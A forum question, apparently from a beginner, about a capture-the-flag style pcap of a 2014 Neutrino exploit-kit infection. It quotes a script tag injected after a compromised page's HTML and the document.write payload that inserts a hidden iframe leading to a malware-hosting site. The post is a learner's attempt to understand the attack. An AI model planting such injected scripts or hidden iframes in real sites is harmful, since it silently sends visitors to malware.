I am still a beginner in web vulnerability. While I was browsing on the internet I saw a challenge inspired by a real life security crisis. We are given a pcap of a malware infection that was done in 2014 (Neutrino though adobe Flash).
Apparently a site siteCompromised.com was compromised so that it redirects people to another domain siteHostingMalware.com where the malware exists.
When I see the content of the root of siteCompromised.com I see:
<html>
<body>
SOME HTML CODE
</body>
</html><script type='text/javascript' src='http://anotherSite.com/link'></script>
Both anotherSite.com and siteHostingMalware.com are flagged by VirusTotal.
What I don't understand is:
- How did adding the html script tag help the attacker redirecting automatically toward the other website hosting the malware ?
- Why did the attacker redirect to
http://anotherSite.com/linkand not directly to the site hosting the malware ? - At that time, what may be the web vulnerability used by the attacker to compromise
siteCompromised.com? I think probably an XSS but not sure ...
As I am still a beginner do not hesitate to put some reference for me to read them later. Thank you.
EDIT: The content of anotherSite.com/link is :
document.write(("<iframe src='http://siteHostingMalware.com' name='yBnYN' width=13 height=10 frameborder=0 marginheight=0 marginwidth=0 scrolling=no> </" + "iframe>"));
<script>tag (ie. the contents of the urlhttp://anotherSite.com/link) - assuming your capture is complete, this will be a http transaction that occurred after the initial one tositeCompromised.com